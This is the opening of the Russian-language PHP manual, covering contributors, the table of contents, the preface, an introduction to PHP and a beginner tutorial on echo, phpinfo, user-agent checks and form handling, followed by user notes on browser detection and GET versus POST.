Руководство по PHP

от:
Mehdi Achour
Friedhelm Betz
Antony Dovgal
Nuno Lopes
Hannes Magnusson
Georg Richter
Damien Seguy
Jakub Vrana
И некоторые другие
2023-12-16
Под редакцией: Peter Cowburn
от:
Алексей Шеин
Андрей Безруков
Максим Чабан
Александр Москалёв
Борис Клименко
Дмитрий Винярчук
Борис Флейтлих
Алексей Егоров
Юрий Бабиков
Михаил Баранов
Андрей Громов
Алексей Пыльцын
Сергей Пантелеев
Сергей Зорин
Евгений Четвериков
И некоторые другие
© 1997-2023 Группа документирования PHP
  • Авторские права
  • Руководство по PHP
    • Предисловие
  • Приступая к работе
    • Введение
    • Простой учебник
  • Установка и настройка
    • Общие инструкции по установке
    • Установка на Unix-системы
    • Установка на macOS
    • Установка в системах Windows
    • Установка на платформах Cloud Computing
    • Менеджер процессов FastCGI (FPM)
    • Установка модулей PECL
    • Проблемы?
    • Конфигурация времени выполнения
  • Справочник языка
    • Основы синтаксиса
    • Типы
    • Переменные
    • Константы
    • Выражения
    • Операторы
    • Управляющие конструкции
    • Функции
    • Классы и объекты
    • Пространства имён
    • Перечисления
    • Ошибки
    • Исключения
    • Fibers
    • Генераторы
    • Атрибуты
    • Объяснение ссылок
    • Предопределённые переменные
    • Предопределённые исключения
    • Встроенные интерфейсы и классы
    • Предопределённые атрибуты
    • Контекстные опции и параметры
    • Поддерживаемые протоколы и обёртки
  • Безопасность
    • Вступление
    • Общие рассуждения
    • Если PHP установлен как CGI
    • Если PHP установлен как модуль Apache
    • Безопасность сессий
    • Безопасность файловой системы
    • Безопасность баз данных
    • Сообщения об ошибках
    • Данные, введённые пользователем
    • Сокрытие PHP
    • Необходимость обновлений
  • Отличительные особенности
    • HTTP-аутентификация в PHP
    • Cookies
    • Сессии
    • Работа с XForms
    • Загрузка файлов на сервер
    • Работа с удалёнными файлами
    • Работа с соединениями
    • Постоянные соединения с базами данных
    • Использование PHP в командной строке
    • Сборка мусора
    • Динамическая трассировка DTrace
  • Справочник функций
    • Изменение поведения PHP
    • Обработка аудио форматов
    • Службы аутентификации
    • Модули для работы с командной строкой
    • Модули для сжатия и архивации
    • Криптографические модули
    • Модули для работы с базами данных
    • Модули для работы с датой и временем
    • Модули для работы с файловой системой
    • Поддержка языков и кодировок
    • Обработка и генерация изображений
    • Модули для работы с почтой
    • Математические модули
    • Генерация нетекстовых MIME-форматов
    • Модули для управления процессами программ
    • Другие базовые модули
    • Другие службы
    • Модули для работы с поисковыми системами
    • Модули для работы с серверами
    • Модули для работы с сессиями
    • Обработка текста
    • Модули, относящиеся к переменным и типам
    • Веб-сервисы
    • Модули только для Windows
    • Обработка XML
    • Модули для работы с GUI
  • ЧАВО — ЧАВО: ЧАсто задаваемые Вопросы и Ответы на них
    • Общая информация
    • Списки рассылки
    • Получение PHP
    • Вопросы по базам данных — Вопросы по Базам данных
    • Установка
    • Проблемы сборки
    • Использование PHP
    • Хеширование паролей — Безопасное хеширование паролей
    • PHP и HTML
    • PHP и COM
    • Разные вопросы
  • Appendices
    • История PHP и смежных проектов
    • Миграция с PHP 8.2.x на PHP 8.3.x
    • Миграция с PHP 8.1.x на PHP 8.2.x
    • Миграция с PHP 8.0.x на PHP 8.1.x
    • Миграция с PHP 7.4.x на PHP 8.0.x
    • Миграция с PHP 7.3.x на PHP 7.4.x
    • Миграция с PHP 7.2.x на PHP 7.3.x
    • Миграция с PHP 7.1.x на PHP 7.2.x
    • Миграция с PHP 7.0.x на PHP 7.1.x
    • Миграция с PHP 5.6.x на PHP 7.0.x
    • Миграция с PHP 5.5.x на PHP 5.6.x
    • Отладка в PHP
    • Опции конфигурации
    • Директивы php.ini
    • Список/классификация модулей
    • Список псевдонимов функций
    • Список зарезервированных слов
    • Список типов ресурсов
    • Список доступных фильтров
    • Список поддерживаемых транспортных протоколов
    • Таблица сравнения типов в PHP
    • Список меток (tokens) парсера
    • Руководство по именованию
    • Об этом руководстве
    • Creative Commons Attribution 3.0
    • Алфавитный список
    • Список изменений
  • Руководство в формате HTML Help
    • About This Edition
    • Using PHP Manual CHM Edition
    • The Full Text Search
    • Integrating the PHP Manual

User Contributed Notes

There are no user contributed notes for this page.


Авторские права

Авторские права © 1997 - 2023 принадлежат группе документирования PHP. Эти материалы могут быть распространены только на условиях и соглашениях, установленных в лицензии Creative Commons Attribution версии 3.0 или более поздней. Копия лицензии Creative Commons Attribution 3.0 распространяется вместе с руководством. Последняя на данный момент версия доступна по адресу » http://creativecommons.org/licenses/by/3.0/.

Если вы заинтересованы в распространении или публикации данного документа полностью или частично, с изменениями или без, и у вас есть вопросы, вы можете связаться с владельцами авторского права по адресу » doc-license@lists.php.net. Помните, что это адрес публичного списка рассылки.

User Contributed Notes

There are no user contributed notes for this page.


Руководство по PHP

  • Предисловие

User Contributed Notes

There are no user contributed notes for this page.


Предисловие

PHP, расшифровывающийся как "PHP: Hypertext Preprocessor" - «PHP: Препроцессор Гипертекста», является распространённым интерпретируемым языком общего назначения с открытым исходным кодом. PHP создавался специально для ведения веб-разработок и код на нем может внедряться непосредственно в HTML-код. Синтаксис языка берет начало из C, Java и Perl, и является лёгким для изучения. Основной целью PHP является предоставление веб-разработчикам возможности быстрого создания динамически генерируемых веб-страниц, однако область применения PHP не ограничивается только этим.

Это руководство состоит, главным образом, из справочника функций, а также содержит справочник языка, комментарии к наиболее важным из отличительных особенностей PHP, и другие дополнительные сведения.

Это руководство доступно в нескольких форматах по адресу » https://www.php.net/download-docs.php. Более подробную информацию о том, как ведётся работа над руководством, вы сможете получить обратившись к приложению Об этом руководстве. Если вам интересна история PHP, обратитесь к соответствующему приложению.

Авторы и Участники

Мы публикуем имена самых активных на данный момент участников разработки документации на первой странице, но есть ещё множество людей, которые помогают нам в процессе разработки или оказали неоценимую помощь в прошлом. Также, есть огромное количество людей, помогающих нам с помощью системы пользовательских замечаний, которые постоянно включаются в основную документацию. Все списки ниже отсортированы в алфавитном порядке.

Авторы и Редакторы

Следующие участники внесли значительный вклад в наполнение документации в прошлом: Bill Abt, Jouni Ahto, Alexander Aulbach, Stig Bakken, George Peter Banyard, Christoph M. Becker, Daniel Beckham, Nilgun Belma Buguner, Jesus M. Castagnetto, Ron Chmara, Sean Coates, John Coggeshall, Simone Cortesi, Peter Cowburn, Daniel Egeberg, Markus Fischer, Wez Furlong, Sara Golemon, Rui Hirokawa, Brad House, Pierre-Alain Joye, Etienne Kneuss, Moriyoshi Koizumi, Rasmus Lerdorf, Andrew Lindeman, Stanislav Malyshev, Justin Martin, Rafael Martinez, Rick McGuire, Moacir de Oliveira Miranda Junior, Kalle Sommer Nielsen, Yasuo Ohgaki, Philip Olson, Richard Quadling, Derick Rethans, Rob Richards, Sander Roobol, Egon Schmid, Thomas Schoefbeck, Sascha Schumann, Dan Scott, Masahiro Takagi, Yoshinari Takaoka, Yannick Torres, Michael Wallner, Lars Torben Wilson, Jim Winstead, Jeroen van Wolffelaar и Andrei Zmievski.

Следующие участники внесли значительный вклад в редактирование и корректирование документации в прошлом: Stig Bakken, Gabor Hojtsy, Hartmut Holzgraefe, Philip Olson и Egon Schmid.

Редакторы пользовательских замечаний

Текущие наиболее активные редакторы: Daniel Brown, Nuno Lopes, Felipe Pena, Thiago Pojda и Maciek Sokolewicz.

Эти люди внесли свой вклад в управление пользовательскими замечаниями в прошлом: Mehdi Achour, Daniel Beckham, Friedhelm Betz, Victor Boivie, Jesus M. Castagnetto, Nicolas Chaillan, Ron Chmara, Sean Coates, James Cox, Vincent Gevers, Sara Golemon, Zak Greant, Szabolcs Heilig, Oliver Hinckel, Hartmut Holzgraefe, Etienne Kneuss, Rasmus Lerdorf, Matthew Li, Andrew Lindeman, Aidan Lister, Hannes Magnusson, Maxim Maletsky, Bobby Matthis, James Moore, Philip Olson, Sebastian Picklum, Derick Rethans, Sander Roobol, Damien Seguy, Jason Sheets, Tom Sommer, Jani Taskinen, Yasuo Ohgaki, Jakub Vrana, Lars Torben Wilson, Jim Winstead, Jared Wyles и Jeroen van Wolffelaar.

Другие переводчики

Наиболее активные переводчики присылавшие патчи: Spbima, Тигрович, Иван Ремень, Serg, Wolg, Degit, Nooneon, StelZek, Grul, Alexandr Fedotov, Marina Lagun, Mike, HaJIuBauKa, Sunny, dba, Александр Тушин.

Мы публикуем имена самых активных на данный момент переводчиков документации, но есть ещё множество людей, которые помогают нам. И каждый их перевод, поправка или совет ценен и важен.

Переводчики, ранее принимавшие участие в переводе руководства на русский язык (в алфавитном порядке): Alexander Voytsekhovskyy, Alexey Asemov, Andrey Demenev, Antony Dovgal, Boris Bezrukov, Daniil Reuzhkov, Evgeniy Syuzev, Irina Goble, Ivan Kovalenko, Jigkayev Kazbek, Kirill Barashkin, Olishuk Andrey, Veniamin Zolotukhin.

А также неизвестные переводчики со следующими никами: freespace, santiago, shafff, sveta.

User Contributed Notes

There are no user contributed notes for this page.


Приступая к работе

  • Введение
    • Что такое PHP?
    • Возможности PHP
  • Простой учебник
    • Что мне потребуется?
    • Первая страница на PHP
    • Делаем что-нибудь полезное
    • Работа с формами
    • Что дальше?

User Contributed Notes

There are no user contributed notes for this page.


Введение

Содержание

  • Что такое PHP?
  • Возможности PHP

User Contributed Notes

There are no user contributed notes for this page.


Что такое PHP?

PHP (рекурсивный акроним словосочетания PHP: Hypertext Preprocessor) - это распространённый язык программирования общего назначения с открытым исходным кодом. PHP специально сконструирован для веб-разработок и его код может внедряться непосредственно в HTML.

Простой ответ, но что он может означать? Вот пример кода:

Пример #1 Пример программирования на PHP

<!DOCTYPE html>
<html>
<head>
<title>Пример</title>
</head>
<body>

<?php
echo "Привет, я - скрипт PHP!";
?>

</body>
</html>

Вместо рутинного вывода HTML-кода командами языка (как это происходит, например, в Perl или C), скрипт PHP содержит HTML с встроенным кодом (в нашем случае, это вывод текста "Привет, я - скрипт PHP!"). Код PHP отделяется специальными начальным и конечным тегами <?php и ?>, которые позволяют "переключаться" в "PHP-режим" и выходить из него.

PHP отличается от JavaScript тем, что PHP-скрипты выполняются на сервере и генерируют HTML, который посылается клиенту. Если бы у вас на сервере был размещён скрипт, подобный вышеприведённому, клиент получил бы только результат его выполнения, но не смог бы выяснить, какой именно код его произвёл. Вы даже можете настроить свой сервер таким образом, чтобы обычные HTML-файлы обрабатывались процессором PHP, так что клиенты даже не смогут узнать, получают ли они обычный HTML-файл или результат выполнения скрипта.

PHP крайне прост для освоения, но вместе с тем способен удовлетворить запросы профессиональных программистов. Не пугайтесь длинного списка возможностей PHP. Вы можете быстро начать, и уже в течение нескольких часов сможете создавать простые PHP-скрипты.

Хотя PHP, главным образом, предназначен для работы в среде веб-серверов, область его применения не ограничивается только этим. Читайте дальше и не пропустите главу Возможности PHP либо, начните непосредственно с Вводного руководства, если вас интересует исключительно веб-программирование.

User Contributed Notes

There are no user contributed notes for this page.


Возможности PHP

PHP может все. Главная область применения PHP - написание скриптов, работающих на стороне сервера; таким образом, PHP способен выполнять все то, что выполняет любая другая программа CGI, например, обрабатывать данные форм, генерировать динамические страницы или отсылать и принимать cookies. Но PHP способен выполнять намного больше.

Существуют три основных области применения PHP.

  • Создание скриптов для выполнения на стороне сервера. PHP традиционно и наиболее широко используется именно таким образом. Для этого вам будут необходимы три вещи. Интерпретатор PHP (в виде программы CGI или серверного модуля), веб-сервер и браузер. Для того чтобы можно было просматривать результаты выполнения PHP-скриптов в браузере, нужен работающий веб-сервер и установленный PHP. Просмотреть вывод PHP-программы можно в браузере, получив PHP-страницу, сгенерированную сервером. В случае, если вы просто экспериментируете, вы вполне можете использовать свой домашний компьютер вместо сервера. За более подробными сведениями обратитесь к главе Советы по установке.
  • Создание скриптов для выполнения в командной строке. Вы можете создать PHP-скрипт, способный запускаться без сервера или браузера. Все, что вам потребуется - парсер PHP. Такой способ использования PHP идеально подходит для скриптов, которые должны выполняться регулярно, например, с помощью cron (на платформах *nix или Linux) или с помощью планировщика задач (Task Scheduler) на платформах Windows. Эти скрипты также могут быть использованы в задачах простой обработки текстов. За дополнительной информацией обращайтесь к главе Использование PHP в среде командной строки.
  • Создание оконных приложений, выполняющихся на стороне клиента. Возможно, PHP является не самым лучшим языком для создания подобных приложений, но, если вы очень хорошо знаете PHP и хотели бы использовать некоторые его возможности в своих клиентских приложениях, вы можете использовать PHP-GTK для создания таких приложений. Подобным образом вы можете создавать и кросс-платформенные приложения. PHP-GTK является модулем PHP и не поставляется вместе с основным дистрибутивом PHP. Если вы заинтересованы, посетите » сайт PHP-GTK.

PHP доступен для большинства операционных систем, включая Linux, многие модификации Unix (такие как HP-UX, Solaris и OpenBSD), Microsoft Windows, macOS, RISC OS и многие другие. Также в PHP включена поддержка большинства современных веб-серверов, таких как Apache, IIS и многих других. В принципе, подойдёт любой веб-сервер, способный использовать бинарный файл FastCGI PHP, например, lighttpd или nginx. PHP может работать в качестве модуля или функционировать в качестве процессора CGI.

Таким образом, выбирая PHP, вы получаете свободу выбора операционной системы и веб-сервера. Более того, у вас появляется выбор между использованием процедурного или объектно-ориентированного программирования (ООП) или же их сочетания.

Использование PHP не ограничивается выводом HTML. Возможности PHP включают вывод файлов различных типов, таких как изображения или PDF-файлы, шифрование данных и отправку электронной почты. Вы также можете легко выводить любой текст, например JSON или XML. PHP может автоматически генерировать эти файлы и сохранять их в файловой системе вместо вывода на печать, формируя серверный кеш для динамического содержимого.

Одним из значительных преимуществ PHP является поддержка широкого круга баз данных. Создать скрипт, использующий базы данных, - невероятно просто. Можно воспользоваться модулем, специфичным для отдельной базы данных (таким как mysql) или использовать уровень абстракции от базы данных, такой как PDO, или подсоединиться к любой базе данных, поддерживающей Открытый Стандарт Соединения Баз Данных (ODBC), с помощью одноимённого модуля ODBC. Для других баз данных, таких как CouchDB, можно воспользоваться cURL или сокетами.

PHP также поддерживает взаимодействие с другими сервисами через такие протоколы, как LDAP, IMAP, SNMP, NNTP, POP3, HTTP, COM (на платформах Windows) и многих других. Кроме того, вы получаете возможность работать с сетевыми сокетами напрямую. PHP поддерживает стандарт обмена сложными структурами данных WDDX практически между всеми языками веб-программирования. Обращая внимание на взаимодействие между различными языками, следует упомянуть о поддержке объектов Java и возможности их использования в качестве объектов PHP.

PHP имеет много возможностей по обработке текста, включая регулярные выражения Perl (PCRE) и много других модулей и инструментов для обработки и доступа к XML-документам. В PHP обработка XML-документов стандартизирована и происходит на базе мощной библиотеки libxml2, расширив возможности обработки XML добавлением новых модулей SimpleXML, XMLReader и XMLWriter.

Есть ещё много других интересных модулей, которые можно просмотреть как в алфавитном порядке, так и по категориям. Есть ещё много дополнительных модулей PECL, которые также могут (а могут и нет) быть документированы в данном руководстве, такие как » XDebug.

Как вы видите, этой страницы не хватит для того, чтобы перечислить все, что может предложить вам PHP. Читайте следующую главу, Установка PHP и обратитесь к главе Справочник по функциям за более подробными сведениями о перечисленных выше модулях.

User Contributed Notes

There are no user contributed notes for this page.


Простой учебник

Содержание

  • Что мне потребуется?
  • Первая страница на PHP
  • Делаем что-нибудь полезное
  • Работа с формами
  • Что дальше?

В этом кратком и простом учебнике мы бы хотели показать самые основы PHP. Этот текст включает в себя только создание динамических Web-страниц с помощью PHP, однако реальная область применения PHP гораздо шире. В разделе "Что может PHP" приведена дополнительная информация.

Web-страницы, созданные с использованием PHP, обрабатываются как обычные HTML-страницы. Их можно создавать и изменять точно таким же образом, как и обычные страницы на HTML.

User Contributed Notes

There are no user contributed notes for this page.


Что мне потребуется?

В данном руководстве мы предполагаем, что ваш сервер имеет поддержку PHP и что все файлы, заканчивающиеся на .php, обрабатываются PHP. В большинстве серверов обычно используется это расширение для PHP-файлов, но всё-таки не лишним будет уточнить это у вашего администратора сервера. Итак, если ваш сервер поддерживает PHP, то у вас есть все, что требуется. Просто создавайте файлы .php и размещайте их в вашем каталоге Web-сервера - они будут обрабатываться автоматически. Не нужно ничего компилировать, не нужно никаких дополнительных программ. Считайте файлы PHP обычными файлами HTML с набором новых "волшебных" тегов, которые могут делать кучу разных вещей.

Например, вы хотите сэкономить на интернет-канале и вести разработку локально. В этом случае вам нужно будет установить веб-сервер, такой как » Apache, и, разумеется, » PHP. Скорее всего, вы также захотите установить базу данных, например, » MySQL.

Все это может быть установлено как отдельно друг от друга, так и более простым способом. В нашем руководстве есть инструкции по установке PHP (предполагается, что вы уже установили веб-сервер). Если у вас возникли проблемы при установке PHP, мы предлагаем вам задать вопросы в нашем » списке рассылки по вопросам установки. Если же вы выбрали более простой способ, то » найдите уже настроенный пакет для вашей операционной системы, который автоматически установит все вышеперечисленное несколькими кликами мыши. Устанавливать веб-сервер с поддержкой PHP довольно легко на любой операционной системе, включая MacOSX, Linux и Windows. На Linux вам, возможно, пригодятся » rpmfind и » PBone при поиске RPM-пакетов. Можно также использовать » apt-get для поиска пакетов под Debian.

User Contributed Notes

There are no user contributed notes for this page.


Первая страница на PHP

Создайте файл с именем hello.php в корневом каталоге веб-сервера (DOCUMENT_ROOT) и запишите в него следующее:

Пример #1 Первый скрипт на PHP: hello.php

<!DOCTYPE html>
<html>
<head>
<title>Тестируем PHP</title>
</head>
<body>
<?php echo '<p>Привет, мир!</p>'; ?>
 </body>
</html>

Откройте данный файл в браузере, набрав имя вашего веб-сервера и /hello.php. При локальной разработке эта ссылка может быть чем-то вроде http://localhost/hello.php или http://127.0.0.1/hello.php, но это зависит от настроек вашего сервера. Если всё настроено правильно, этот файл будет обработан PHP и браузер выведет следующий текст:

<!DOCTYPE html>
<html>
    <head>
        <title>Тестируем PHP</title>
    </head>
    <body>
        <p>Привет, мир!</p>
    </body>
</html>

Эта программа чрезвычайно проста, и для создания настолько простой странички даже необязательно использовать PHP. Все, что она делает, это вывод Hello World, используя инструкцию PHP echo. Заметьте, что файл не обязан быть выполняемым или ещё как-то отличаться от других файлов. Сервер знает, что этот файл должен быть обработан PHP, так как файл обладает расширением ".php", о котором в настройках сервера сказано, что подобные файлы должны передаваться PHP. Рассматривайте его как обычный HTML-файл, которому посчастливилось заполучить набор специальных тегов (доступных также и вам), способных на кучу интересных вещей.

Если у вас этот пример не отображает ничего или выводит окно загрузки, или если вы видите весь этот файл в текстовом виде, то, скорее всего, ваш веб-сервер не имеет поддержки PHP или был сконфигурирован неправильно. Попросите вашего администратора сервера включить такую поддержку. Предложите ему инструкцию по установке: раздел Установка данной документации. Если же вы разрабатываете скрипты на PHP дома (локально), то также прочтите эту главу, чтобы убедиться, что вы все настроили верно. Убедитесь также, что вы запрашиваете файл у сервера через протокол http. Если вы просто откроете файл из вашей файловой системы, он не будет обработан PHP. Если проблемы всё же остались, не стесняйтесь попросить помощи одним из » множества доступных способов получения поддержки по PHP.

Цель примера - показать формат специальных тегов PHP. В этом примере мы использовали <?php в качестве открывающего тега, затем шли команды PHP, завершающиеся закрывающим тегом ?>. Таким образом можно где угодно "запрыгивать" и "выпрыгивать" из режима PHP в HTML файле. Подробнее об этом можно прочесть в разделе руководства Основной синтаксис.

Замечание: Замечание о переводах строк

Переводы строк немногое означают в HTML, однако считается хорошей идеей поддерживать HTML в удобочитаемом виде, перенося его на новую строку. PHP автоматически удаляет перевод строки, идущий сразу после закрывающего тега ?>. Это может быть чрезвычайно полезно, если вы используете множество блоков PHP-кода или подключаете PHP-файлы, которые не должны ничего выводить. В то же время, это может приводить в недоумение. Можно поставить пробел после закрывающего тега ?> и тогда пробел будет выведен вместе с переводом строки, или же вы можете специально добавить перевод строки в последний вызов echo/print из блока PHP-кода.

Замечание: Пара слов о текстовых редакторах

Существует множество текстовых редакторов и интегрированных сред разработки (IDE), в которых вы можете создавать и редактировать файлы PHP. Список некоторых редакторов содержится в разделе » Список редакторов PHP. Если вы хотите порекомендовать какой-либо редактор, посетите данную страницу и попросите добавить редактор в список. Использование редактора с подсветкой синтаксиса может быть очень большим подспорьем в вашей работе.

Замечание: Пара слов о текстовых процессорах

Текстовые процессоры (StarOffice Writer, Microsoft Word, Abiword и др.) в большинстве случаев не подходят для редактирования файлов PHP. Если вы всё же хотите использовать какой-либо из них для тестового скрипта, убедитесь, что сохраняете файл как простой текст (plain text), иначе PHP будет не в состоянии прочесть и запустить ваш скрипт.

Теперь, когда вы успешно создали работающий PHP-скрипт, самое время создать самый знаменитый PHP-скрипт! Вызовите функцию phpinfo() и вы увидите множество полезной информации о вашей системе и настройке, такой как доступные предопределённые переменные, загруженные PHP-модули и параметры настройки. Уделите некоторое время изучению этой важной информации.

Пример #2 Получение информации о системе из PHP

<?php phpinfo(); ?>

User Contributed Notes

There are no user contributed notes for this page.


Делаем что-нибудь полезное

Давайте сделаем что-нибудь полезное. К примеру, определим, какой браузер использует тот, кто смотрит в данный момент нашу страницу. Для этого мы проверим строку с именем браузера, посылаемую нам в HTTP-запросе. Эта информация хранится в переменной. Переменные в PHP всегда предваряются знаком доллара. Интересующая нас в данный момент переменная называется $_SERVER['HTTP_USER_AGENT'].

Замечание:

$_SERVER - специальная зарезервированная переменная PHP, которая содержит всю информацию, полученную от Web-сервера. Её также называют суперглобальной. Для более подробной информации смотрите раздел Суперглобальные переменные.

Для вывода данной переменной мы сделаем так:

Пример #1 Вывод значения переменной (элемента массива)

<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>

Пример вывода данной программы:

Mozilla/5.0 (Linux) Firefox/112.0

В PHP существует огромное количество типов переменных. В предыдущем примере мы печатали элемент массива. Массивы могут быть очень полезны.

$_SERVER - это просто одна из переменных, которые предоставляются вам языком PHP. Список таких переменных можно посмотреть в разделе "Зарезервированные переменные" или просмотрев вывод функции phpinfo(), используемой в примере в предыдущем разделе.

Внутрь PHP-тегов можно помещать несколько выражений и создавать маленькие блоки кода, делающие больше, чем простой вызов echo. Например, если вы хотите добавить проверку для Firefox, можно сделать так:

Пример #2 Пример использования управляющих структур и функций

<?php
if (str_contains($_SERVER['HTTP_USER_AGENT'], 'Firefox')) {
echo 'Вы используете Firefox.';
}
?>

Пример вывода данной программы:

Вы используете Firefox.

Здесь мы показали несколько новых элементов. Во-первых, здесь есть конструкция if. Если вы знакомы с основами синтаксиса языка C, то вы уже заметили что-то схожее. Если же вы не знаете C или подобного по синтаксису языка, то лучший вариант - взять какую-либо вводную книжку по PHP и прочитать первые пару глав. Другой вариант - почитать раздел Описание языка данного руководства.

Кроме этого, здесь присутствует вызов функции str_contains(). str_contains() - встроенная в PHP функция, которая определяет, содержит ли данная строка другую строку. В данном случае мы ищем строку 'Firefox' (так называемую "иголку" - needle) в $_SERVER['HTTP_USER_AGENT'] (в так называемом "сене" - haystack). Если "иголка" найдена внутри "сена", функция возвращает true. В противном случае она возвращает false. Если она вернёт true, то условие в if окажется истинным (true), и код в фигурных скобках ({ }) выполнится. В противном случае этот код не выполняется. Попробуйте создать аналогичные примеры с использованием команд if, else и других функций, таких, как strtoupper() и strlen(). Также подобные примеры содержатся во многих описаниях функций в данном руководстве. Если вы не знаете, как использовать функции, возможно, вам стоит прочесть страницу руководства о том, как читать определения функций и раздел о функциях в PHP.

Продемонстрируем, как можно входить в режим кода PHP и выходить из него даже прямо посередине блока с кодом:

Пример #3 Смешение режимов HTML и PHP

<?php
if (str_contains($_SERVER['HTTP_USER_AGENT'], 'Firefox')) {
?>
<h3>str_contains() возвращает true</h3>
<p>Вы используете Firefox</p>
<?php
} else {
?>
<h3>str_contains() возвращает false</h3>
<p>Вы не используете Firefox</p>
<?php
}
?>

Пример вывода данной программы:

<h3>str_contains() возвращает true</h3>
<p>Вы используете Firefox</p>

Вместо использования команды PHP echo для вывода, мы вышли из режима кода и просто послали содержимое HTML. Важный момент здесь то, что логическая структура кода PHP при этом не теряется. Только одна HTML-часть будет послана клиенту в зависимости от результата функции str_contains() (другими словами, в зависимости от того, найдена была строка Firefox или нет).

User Contributed Notes

Evan Z 24-Jul-2021 03:17
Hi. Edge is a different browser from IE. You cannot use the condition to judge it is an Internet Explorer. On the contrary, it means this is an Edge browser.

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Edg') !== FALSE {
     echo 'You are using Edge.<br />';
 }
?>
Declan Kelly 22-May-2014 12:03
Please note that Internet Explorer 11 no longer contains MSIE in its user agent string, for example on Windows 8 with IE11 I get the following:

Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

So if you want to include a test for IE11, the code above changes to:

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE ||
    strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== FALSE) {
    echo 'You are using Internet Explorer.<br />';
}
?>


Работа с формами

Одно из главнейших достоинств PHP - то, как он работает с формами HTML. Здесь основным является то, что каждый элемент формы автоматически становится доступным вашим программам на PHP. Для подробной информации об использовании форм в PHP читайте раздел Переменные из внешних источников. Вот пример формы HTML:

Пример #1 Простейшая форма HTML

<form action="action.php" method="post">
    <label for="name">Ваше имя:</label>
    <input name="name" id="name" type="text">

    <label for="age">Ваш возраст:</label>
    <input name="age" id="age" type="number">

    <button type="submit">Submit</button>
</form>

В этой форме нет ничего особенного. Это обычная форма HTML без каких-либо специальных тегов. Когда пользователь заполнит форму и нажмёт кнопку отправки, будет вызвана страница action.php. В этом файле может быть что-то вроде:

Пример #2 Выводим данные формы

Здравствуйте, <?php echo htmlspecialchars($_POST['name']); ?>.
Вам <?php echo (int)$_POST['age']; ?> лет.

Пример вывода данной программы:

Здравствуйте, Сергей. Вам 30 лет.

Если не принимать во внимание куски кода с htmlspecialchars() и (int), принцип работы данного кода должен быть прост и понятен. htmlspecialchars() обеспечивает правильную кодировку "особых" HTML-символов так, чтобы вредоносный HTML или Javascript не был вставлен на вашу страницу. Поле age, о котором нам известно, что оно должно быть число, мы можем просто преобразовать в int, что автоматически избавит нас от нежелательных символов. PHP также может сделать это автоматически с помощью модуля filter. Переменные $_POST['name'] и $_POST['age'] автоматически установлены для вас средствами PHP. Ранее мы использовали суперглобальную переменную $_SERVER, здесь же мы точно так же используем суперглобальную переменную $_POST, которая содержит все POST-данные. Заметим, что метод отправки (method) нашей формы - POST. Если бы мы использовали метод GET, то информация нашей формы была бы в суперглобальной переменной $_GET. Кроме этого, можно использовать переменную $_REQUEST, если источник данных не имеет значения. Эта переменная содержит смесь данных GET, POST, COOKIE.

В PHP можно также работать и с XForms, хотя вы найдёте работу с обычными HTML-формами довольно комфортной уже через некоторое время. Несмотря на то, что работа с XForms не для новичков, они могут показаться вам интересными. В разделе возможностей PHP у нас также есть короткое введение в обработку данных из XForms.

User Contributed Notes

nucc1 12-Jun-2017 08:24
worth clarifying:

POST is not more secure than GET.

The reasons for choosing GET vs POST involve various factors such as intent of the request (are you "submitting" information?), the size of the request (there are limits to how long a URL can be, and GET parameters are sent in the URL), and how easily you want the Action to be shareable -- Example, Google Searches are GET because it makes it easy to copy and share the search query with someone else simply by sharing the URL.

Security is only a consideration here due to the fact that a GET is easier to share than a POST. Example: you don't want a password to be sent by GET, because the user might share the resulting URL and inadvertently expose their password.

However, a GET and a POST are equally easy to intercept by a well-placed malicious person if you don't deploy TLS/SSL to protect the network connection itself.

All Forms sent over HTTP (usually port 80) are insecure, and today (2017), there aren't many good reasons for a public website to not be using HTTPS (which is basically HTTP + Transport Layer Security).

As a bonus, if you use TLS  you minimise the risk of your users getting code (ADs) injected into your traffic that wasn't put there by you.
Johann Gomes (johanngomes at gmail dot com) 11-Oct-2010 07:20
Also, don't ever use GET method in a form that capture passwords and other things that are meant to be hidden.
sethg at ropine dot com 01-Dec-2003 12:55
According to the HTTP specification, you should use the POST method when you're using the form to change the state of something on the server end. For example, if a page has a form to allow users to add their own comments, like this page here, the form should use POST. If you click "Reload" or "Refresh" on a page that you reached through a POST, it's almost always an error -- you shouldn't be posting the same comment twice -- which is why these pages aren't bookmarked or cached.

You should use the GET method when your form is, well, getting something off the server and not actually changing anything.  For example, the form for a search engine should use GET, since searching a Web site should not be changing anything that the client might care about, and bookmarking or caching the results of a search-engine query is just as useful as bookmarking or caching a static HTML page.


Что дальше?

То, что вы узнали, поможет вам понять большую часть руководства и разобраться в большинстве приведённых примеров программ.

Если вы хотите посмотреть различные презентации и слайды, шире раскрывающие возможности PHP, вы можете посетить сайт с материалами PHP конференций: » http://talks.php.net/

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

  • Общие инструкции по установке
  • Установка на Unix-системы
    • Apache 2.x на Unix системах
    • Установка Nginx 1.4.x на систему Unix
    • Установка PHP на Lighttpd 1.4 на Unix-системах
    • Веб-сервер LiteSpeed/OpenLiteSpeed на системах Unix
    • Установка с интерфейсами CGI и командной строки
    • OpenBSD, замечания по установке
    • Инструкции по инсталляции для ОС Solaris
    • Инструкции по установке на Debian GNU/Linux
  • Установка на macOS
    • Использование пакетов
    • Использование встроенного PHP до macOS Monterey
    • Компилирование PHP на macOS
  • Установка в системах Windows
    • Требования к установке
    • PECL
    • Инструмент установки PHP на Windows
    • Рекомендованная конфигурация для систем Windows
    • Самостоятельная установка PHP в Windows
    • Сборка из исходных кодов
    • Командная строка PHP в Microsoft Windows
    • Apache 2.x в Microsoft Windows
    • Стандартные проблемы PHP под Windows
  • Установка на платформах Cloud Computing
    • Azure App Services
    • Amazon EC2
  • Менеджер процессов FastCGI (FPM)
    • Установка
    • Настройка
  • Установка модулей PECL
    • Введение в установку PECL
    • Загрузка модулей PECL
    • Установка PHP-модуля в Windows
    • Компиляция разделяемых модулей с помощью команды pecl
    • Компиляция разделяемых модулей с помощью phpize
    • php-config
    • Компиляция модулей PECL статически в PHP
  • Проблемы?
    • Читайте FAQ
    • Другие проблемы
    • Сообщения о багах
  • Конфигурация времени выполнения
    • Файл конфигурации
    • Файлы .user.ini
    • Где могут быть установлены параметры конфигурации
    • Как изменить настройки конфигурации

User Contributed Notes

There are no user contributed notes for this page.


Общие инструкции по установке

